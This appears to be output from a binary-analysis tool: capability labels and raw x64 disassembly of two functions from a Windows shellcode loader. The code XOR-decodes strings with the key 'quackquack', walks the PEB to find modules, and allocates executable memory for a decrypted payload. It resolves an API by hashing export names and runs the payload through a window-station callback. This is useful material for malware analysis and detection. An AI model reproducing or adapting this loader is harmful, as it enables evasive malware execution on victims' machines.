Function at 0x140007f70
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
lea rax, [0x1400090f0]
lea rsi, str.quackquack
mov r13d, edx
mov rbp, r8
mov rdi, rcx
xor edx, edx
lea r8, [rax + 0xc]
jmp 0x140007d37
movsxd rcx, edx
add edx, 1
add rcx, rsi
movzx ecx, byte [rcx]
xor byte [rax], cl
add rax, 1
cmp r8, rax
je 0x140007d52
cmp edx, 0xa
jne 0x140007d20
mov rcx, rsi
mov edx, 1
movzx ecx, byte [rcx]
xor byte [rax], cl
add rax, 1
cmp r8, rax
jne 0x140007d37
lea rax, [0x140009100]
xor edx, edx
lea r9, str.quackquack
lea r8, [rax + 0xc]
jmp 0x140007d87
movsxd rcx, edx
add edx, 1
add rcx, rsi
movzx ecx, byte [rcx]
xor byte [rax], cl
add rax, 1
cmp r8, rax
je 0x140007da2
cmp edx, 0xa
jne 0x140007d70
mov rcx, r9
mov edx, 1
movzx ecx, byte [rcx]
xor byte [rax], cl
add rax, 1
cmp r8, rax
jne 0x140007d87
lea rcx, [0x140009100]
lea r12, [rsp + 0x30]
call sub.msvcrt.dll_strlen
lea rdx, [0x140009100]
mov rcx, r12
lea r8, [rax + 1]
call sub.msvcrt.dll_mbstowcs
mov rcx, r12
call 0x140007f70
lea rdx, [0x1400090f0]
mov rcx, rax
call fcn.140008080
movsxd rdx, r13d
mov r9d, 0x40
xor ecx, ecx
mov qword [0x140009120], rax
mov r8d, 0x1000
call rax
mov r12, rax
test rax, rax
je 0x140007f4f
test r13d, r13d
lea r14d, [r13 + 7]
lea r15, [rsp + 0x28]
cmovns r14d, r13d
xor ebx, ebx
sar r14d, 3
cmp r13d, 7
jle 0x140007e46
nop
mov rax, qword [rdi + rbx*8]
mov rdx, rbp
mov rcx, r15
mov qword [rsp + 0x28], rax
call fcn.140007a10
mov rax, qword [rsp + 0x28]
mov qword [r12 + rbx*8], rax
add rbx, 1
cmp r14d, ebx
jg 0x140007e20
lea rax, [0x140009140]
xor edx, edx
lea r9, str.quackquack
lea r8, [rax + 0xa]
jmp 0x140007e77
movsxd rcx, edx
add edx, 1
add rcx, rsi
movzx ecx, byte [rcx]
xor byte [rax], cl
add rax, 1
cmp r8, rax
je 0x140007e92
cmp edx, 0xa
jne 0x140007e60
mov rcx, r9
mov edx, 1
movzx ecx, byte [rcx]
xor byte [rax], cl
add rax, 1
cmp r8, rax
jne 0x140007e77
lea rcx, [0x140009140]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
movsxd rax, dword [rax + 0x3c]
mov r13d, dword [rsi + rax + 0x88]
add r13, rsi
mov edi, dword [r13 + 0x1c]
mov eax, dword [r13 + 0x20]
test edi, edi
je 0x140007f12
xor r14d, r14d
lea rbp, [rsi + rax]
nop dword [rax]
mov eax, dword [rbp + r14*4]
lea rbx, [rsi + rax]
mov rcx, rbx
call sub.msvcrt.dll_strlen
mov edx, 0x23
mov r8, rax
mov rax, rbx
add r8, rbx
jmp 0x140007efc
movsx ecx, byte [rax]
add rax, 1
lea ecx, [rcx + rdx*2]
add edx, ecx
cmp r8, rax
jne 0x140007ef0
cmp edx, 0x7428c26
je 0x140007f37
add r14, 1
cmp rdi, r14
jne 0x140007ec8
xor esi, esi
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, r12
mov rcx, rax
call rsi
nop
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [r13 + 0x24]
lea rdx, [rsi + r14*2]
movzx eax, word [rdx + rax]
lea rax, [rsi + rax*4]
mov eax, dword [rax + rdi]
add rsi, rax
jmp 0x140007f14
lea rcx, str.memory_allocation_failed_n
call fcn.140008110
mov ecx, 1
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x458
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov r15, qword [rax + 0x20]
lea rbx, [rax + 0x20]
xor eax, eax
lea r12, [rsp + 0x30]
mov r14, rcx
mov ecx, 0x41
mov qword [rsp + 0x28], rbx
mov rdi, r12
lea rbp, [rsp + 0x240]
rep stosq qword [rdi], rax
mov ecx, 0x41
mov rdi, rbp
rep stosq qword [rdi], rax
cmp rbx, r15
je 0x140008066
mov r13, qword [sym.imp.msvcrt.dll_wcscpy_s]
mov rsi, qword [sym.imp.msvcrt.dll__wcslwr_s]
xor ebx, ebx
nop
mov rax, rbx
mov ecx, 0x41
mov rdi, r12
mov edx, 0x104
rep stosq qword [rdi], rax
mov ecx, 0x41
mov rdi, rbp
rep stosq qword [rdi], rax
mov rcx, r12
mov r8, qword [r15 + 0x40]
call r13
mov r8, r14
mov edx, 0x104
mov rcx, rbp
call r13
mov edx, 0x104
mov rcx, rbp
call rsi
mov edx, 0x104
mov rcx, r12
call rsi
mov rdx, rbp
mov rcx, r12
call qword [sym.imp.SHELL32.dll_StrStrW]
test rax, rax
je 0x140008058
mov rax, qword [r15 + 0x20]
add rsp, 0x458
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov r15, qword [r15]
cmp qword [rsp + 0x28], r15
jne 0x140007fe0
mov rdx, r14
lea rcx, str.failed_to_get_a_handle_to__s_n
call fcn.140008110
xor eax, eax
jmp 0x14000803f